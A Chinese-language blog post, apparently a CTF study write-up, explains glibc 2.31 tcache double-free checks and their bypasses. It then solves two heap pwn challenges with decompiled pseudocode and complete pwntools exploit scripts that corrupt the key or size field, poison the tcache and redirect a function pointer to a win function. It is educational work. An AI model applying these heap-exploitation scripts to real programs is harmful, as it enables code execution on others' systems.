【Pwn】堆学习之glibc2.31下的Double Free

0x1 Double Free是什么

· Double Free即同一个chunk被free两次。假设chunk_a被free两次,则链表中会出现如下结构:

|--------------head-------------|

|-chunk_a(next->chunk_a)-|

|---chunk_a(next->NULL)---|

|--------------NULL--------------|

此时进行一次malloc,chunk_a会正常返回给一个指针,但由于next->chunk_a,head会再一次指向chunk_a,导致下一次malloc返回的指针仍然是chunk_a,进而导致两个指针对同一个堆块进行读写。

0x2 glibc2.31对Double Free的保护机制

· 在一个堆块被放进tcache前,glibc会检查它的key,若key指向tcache,则该chunk会被视为可疑chunk,进行进一步检查。

· 进一步检查的机制是:glibc会到该chunk对应大小的tcache链表中查找该chunk的指针。若该chunk的指针已经存在,则报错。第一步对key的检查只是可疑信号,只有在tcache链表中发现改chunk的指针才会判定。

· 绕过方法:

· 修改key使chunk不进入检查机制

· 修改size使glibc不去chunk实际存在的bin检查

· 使chunk不进tcache

0x3 例题_1

题目:https://lochad-1396125149.cos.ap-beijing.myqcloud.com/pwn_challanges/heap/glibc2.31/TcacheDoubleFree/TcacheDoubleFree.zip

0x1 保护

    Arch:       amd64-64-little 
    RELRO:      Partial RELRO 
    Stack:      No canary found 
    NX:         NX enabled 
    PIE:        No PIE (0x3fe000) 
    RUNPATH:    b'.' 
    Stripped:   No

0x2 伪码

int __fastcall main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  while ( 1 )
  {
    menu();
    switch ( (unsigned int)read_ll() )
    {
      case 1u:
        add();
        break;
      case 2u:
        delete_chunk();
        break;
      case 3u:
        edit();
        break;
      case 4u:
        set_key();
        break;
      case 5u:
        trigger();
        break;
      case 6u:
        puts("bye");
        return 0;
      default:
        puts("invalid");
        break;
    }
  }
}
int add()
{
  unsigned int num; // [rsp+Ch] [rbp-4h]

  printf("idx: ");
  num = read_ll();
  if ( num >= 8 )
    return puts("invalid");
  if ( alive[num] )
    return puts("occupied");
  chunks[num] = malloc(0x30uLL);
  if ( !chunks[num] )
    exit(0);
  alive[num] = 1;
  printf("content: ");
  read_n(chunks[num], 48LL);
  return puts("done");
}
int delete_chunk()
{
  unsigned int num; // [rsp+Ch] [rbp-4h]

  printf("idx: ");
  num = read_ll();
  if ( num >= 8 || !chunks[num] )
    return puts("invalid");
  free((void *)chunks[num]);
  alive[num] = 0;
  return puts("done");
}
int edit()
{
  unsigned int num; // [rsp+Ch] [rbp-4h]

  printf("idx: ");
  num = read_ll();
  if ( num >= 8 || !alive[num] )
    return puts("invalid");
  printf("content: ");
  read_n(chunks[num], 48LL);
  return puts("done");
}
int set_key()
{
  unsigned int num; // [rsp+Ch] [rbp-4h]

  printf("idx: ");
  num = read_ll();
  if ( num >= 8 || !chunks[num] )
    return puts("invalid");
  printf("value: ");
  *(_QWORD *)(chunks[num] + 8LL) = read_ull();
  return puts("done");
}
int trigger()
{
  if ( control )
    return control();
  else
    return puts("nothing");
}

另,read_ll()将读取到的内容转换为长整型,read_n()固定读取48字节,有后门。

0x3 漏洞分析

· 拿shell方式与上一题相似,但由于edit()设置了UAF保护,不能直接写next。又set_key()允许覆写key,所以可以进行Double Free,先重复free一个chunk再malloc一个chunk,从而把该chunk变为可写空间,再通过edit改写free_chunk的next。

0x4 exp

from pwn import * 
context(arch='amd64', os='linux', log_level='debug', terminal=['konsole', '--noclose', '-e']) 
 
io = process('./pwn_patched') 
#io = remote() 
 
win = 0x401296 
control = 0x4040e0 
 
def memu(idx): 
    io.recvuntil('quit\n> ') 
    io.sendline(idx) 
 
def add(idx, content): 
    memu(str(1)) 
    io.recvuntil('idx: ') 
    io.sendline(idx) 
    io.recvuntil('content: ') 
    io.send(content) 
 
def delete(idx): 
    memu(str(2)) 
    io.recvuntil('idx: ') 
    io.sendline(idx) 
 
def edit(idx, content): 
    memu(str(3)) 
    io.recvuntil('idx: ') 
    io.sendline(idx) 
    io.recvuntil('content: ') 
    io.send(content) 
 
def key(idx, value): 
    memu(str(4)) 
    io.recvuntil('idx: ') 
    io.sendline(idx) 
    io.recvuntil('value: ') 
    io.sendline(value) 
 
def trigger(): 
    memu(str(5)) 
 
add(str(0), 'A'*0x30) 
delete(str(0)) 
key(str(0), b'0') 
delete(str(0)) 
key(str(0), b'0') 
delete(str(0)) 
 
add(str(1), p64(control)+b'A'*40) 
add(str(2), b'\0'*0x30) 
add(str(3), p64(win)+b'\0'*40) 
 
gdb.attach(io) 
trigger() 
 
io.interactive()

0x5 错误思路

· exp:

from pwn import * 
context(arch='amd64', os='linux', log_level='debug', terminal=['konsole', '--noclose', '-e']) 
 
io = process('./pwn_patched') 
#io = remote() 
 
win = 0x401296 
control = 0x4040e0 
 
def memu(idx): 
    io.recvuntil('quit\n> ') 
    io.sendline(idx) 
 
def add(idx, content): 
    memu(str(1)) 
    io.recvuntil('idx: ') 
    io.sendline(idx) 
    io.recvuntil('content: ') 
    io.send(content) 
 
def delete(idx): 
    memu(str(2)) 
    io.recvuntil('idx: ') 
    io.sendline(idx) 
 
def edit(idx, content): 
    memu(str(3)) 
    io.recvuntil('idx: ') 
    io.sendline(idx) 
    io.recvuntil('content: ') 
    io.send(content) 
 
def key(idx, value): 
    memu(str(4)) 
    io.recvuntil('idx: ') 
    io.sendline(idx) 
    io.recvuntil('value: ') 
    io.sendline(value) 
 
def trigger(): 
    memu(str(5)) 
 
add(str(0), 'A'*0x30) 
delete(str(0)) 
key(str(0), b'0') 
delete(str(0)) 
 
add(str(1), 'B'*0x30) 
 
payload1 = p64(control) 
payload1 += b'C'*40 
edit(str(1), payload1) 
 
add(str(2), 'D'*0x30) 
add(str(3), '\0'*0x30) 
 
payload2 = p64(win) 
payload2 += b'\0'*40 
edit(str(3), payload2) 
print('*****edit_has_done*****') 
 
gdb.attach(io) 
trigger() 
print('*****trigger_has_done*****') 
 
io.interactive()

· 错误原因:tcachebin有用于计bin内chunk数量的count,一个chunk被free进一个tcachebin时该bin的count会++,只有一个bin的count>0时,malloc时才会考虑从该bin拿取chunk。在这版exp中,只进行了两次free,导致count=2,两次malloc后虽然head已经指向control,但由于count==0,glibc已经不会再从该bin拿取chunk,因此不会返回control地址。

0x4 例题_2

题目:https://lochad-1396125149.cos.ap-beijing.myqcloud.com/pwn_challanges/heap/glibc2.31/TcacheDoubleFree_SetSize/TcacheDoubleFree_SetSize.zip

0x1 保护

全关

0x2 伪码

· 大部分函数与上一题无大差别,add有改动,set_key变为set_size。

int add()
{
  unsigned __int64 size; // [rsp+0h] [rbp-10h]
  unsigned int num; // [rsp+Ch] [rbp-4h]

  printf("idx: ");
  num = read_stoi();
  if ( num >= 8 )
    return puts("invalid");
  if ( alive[num] )
    return puts("occupied");
  printf("size: ");
  size = read_stoi_0();
  if ( size <= 0x17 || size > 0x40 )
    return puts("invalid");
  chunks[num] = malloc(size);
  if ( !chunks[num] )
    exit(0);
  reqs[num] = size;
  alive[num] = 1;
  printf("content: ");
  read_n(chunks[num], size);
  return puts("done");
}
int set_size()
{
  unsigned __int64 value; // [rsp+0h] [rbp-10h]
  unsigned int num; // [rsp+Ch] [rbp-4h]

  printf("idx: ");
  num = read_stoi();
  if ( num >= 8 )
    return puts("invalid");
  if ( !chunks[num] )
    return puts("invalid");
  printf("value: ");
  value = read_stoi_0();
  if ( (value & 0xF) != 1 || value <= 0x20 || value > 0x61 )
    return puts("invalid");
  *(_QWORD *)(chunks[num] - 8LL) = value;
  return puts("done");
}

0x3 解法

· 上一题是改key来绕过Double Free检测,这道题是改size,骗glibc去其他大小的bin去找该chunk,找不到就绕过成功。具体可以看exp的注释。

0x4 exp

from pwn import * 
context(arch='amd64', os='linux', log_level='debug', terminal=['konsole', '--noclose', '-e']) 
 
io = process('./pwn1_patched') 
#io = remote() 
 
control = 0x4040e0 
win = 0x401296 
 
def menu(idx): 
    io.recvuntil("quit\n> ") 
    io.sendline(idx) 
 
def add(idx, size, content): 
    menu(str(1)) 
    io.recvuntil('idx: ') 
    io.sendline(idx) 
    io.recvuntil('size: ') 
    io.sendline(size) 
    io.recvuntil('content: ')  
    io.send(content) 
 
def delete(idx): 
    menu(str(2)) 
    io.recvuntil('idx: ') 
    io.sendline(idx) 
 
def edit(idx, content): 
    menu(str(3)) 
    io.recvuntil('idx: ') 
    io.sendline(idx) 
    io.recvuntil('content: ') 
    io.send(content) 
 
def set_size(idx, value): 
    menu(str(4)) 
    io.recvuntil('idx: ') 
    io.sendline(idx) 
    io.recvuntil('value: ') 
    io.sendline(value) 
 
def trigger(): 
    menu(str(5)) 
 
''' 
thinking...... 
A = malloc(0x30) 
B = malloc(0x30) 
free(A) | A --> tcache[0x40] 
free(B) | B --> tcache[0x40] 
| tcache[0x40]: head -> B -> A 
set_size(B, 0x31) 
free(B) | B --> tcache[0x30] 
C = malloc(0x20) 
C.next = &control | B.next = &control 
D = malloc(0x30) | tcache[0x40]: head -> &control 
E = malloc(0x30) | E = &control 
edit(E, &win) 
注:"|"前为操作,后为效果。
''' 
 
#gdb.attach(io) 
add(str(0), str(0x30), 'A'*0x30) 
add(str(1), str(0x30), 'B'*0x30) 
delete(str(0)) 
delete(str(1)) 
#先放两个0x40的chunk到tcache[0x40]
#chunk[0]是为了保证该bin的count>0,否则最后一步拿control地址时会因为count=0而无法从该bin中拿到地址。
#chunk[1]将被用于写入control地址,malloc时让head指向control
 
set_size(str(1), str(0x31)) 
delete(str(1)) 
#将chunk[1]的size写成0x31,free时glibc就会去tcache[0x30]检查,从而成功Double Free
 
add(str(2), str(0x20), p64(control)+b'\0'*0x18) 
#拿出tcache[0x30]中的chunk并向其写入&control,tcache[0x40]中的chunk[1]的next也就变成了&control
 
add(str(3), str(0x30), 'D'*0x30) 
add(str(4), str(0x30), 'E'*0x30) 
edit(str(4), p64(win)+b'\0'*0x28) 
#之后就是跟上一题一样,返回&control,写成win,调用trigger拿shell
 
trigger() 
 
io.interactive()
posted @ 2026-03-25 19:38  Lochad  阅读(31)  评论(0)    收藏  举报